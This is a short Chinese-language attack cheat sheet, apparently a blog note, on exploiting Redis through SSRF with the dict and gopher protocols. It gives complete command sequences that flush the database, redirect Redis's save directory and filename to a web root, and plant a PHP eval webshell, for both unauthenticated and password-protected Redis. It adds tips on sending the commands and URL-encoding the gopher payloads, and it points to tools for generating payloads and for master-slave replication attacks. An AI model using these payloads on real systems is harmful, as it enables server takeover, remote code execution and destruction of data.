Redis利用总结

SSRF攻击Redis

dict协议利用

dīct协议禁止执行多行命令,所以我们无法使用该协议攻击需要认证的redis

利用dict协议时可使用冒号或空格来分割命令,可先使用info语句探测一下是否是未授权的redis

1
http://192.168.196.132/?url=dict://127.0.0.1:6379/info

写shell语句如下

1
2
3
4
5
6
flushall
config:set:dir:/www/admin/localhost_80/wwwroot
config:set:dbfilename:shell.php
set:webshell:"\x3C\x3Fphp\x20eval($_POST[x])\x3B\x3F\x3E"
save
quit

每次只能发送一条命令

1
dict://127.0.0.1:6379/flushall  	等等

成功写入

gopher协议利用

gopher攻击未授权redis

使用https://github.com/firebroo/sec_tools中的gopher生成工具

写shell命令

1
2
3
4
5
6
flushall
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename shell.php
set 'webshell' '<?php eval($_POST[1]);?>'
save
quit

利用ssrf

注意在浏览器中发送payload时需要对gopher协议后的数据进行二次URL编码

成功写入webshell

gopher攻击授权redis

写shell

1
2
3
4
5
6
7
flushall
auth 123456
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename shell.php
set 'webshell' '<?php eval($_POST[1]);?>'
save
quit

访问shell

Redis主从复制

工具:https://github.com/Dliv3/redis-rogue-server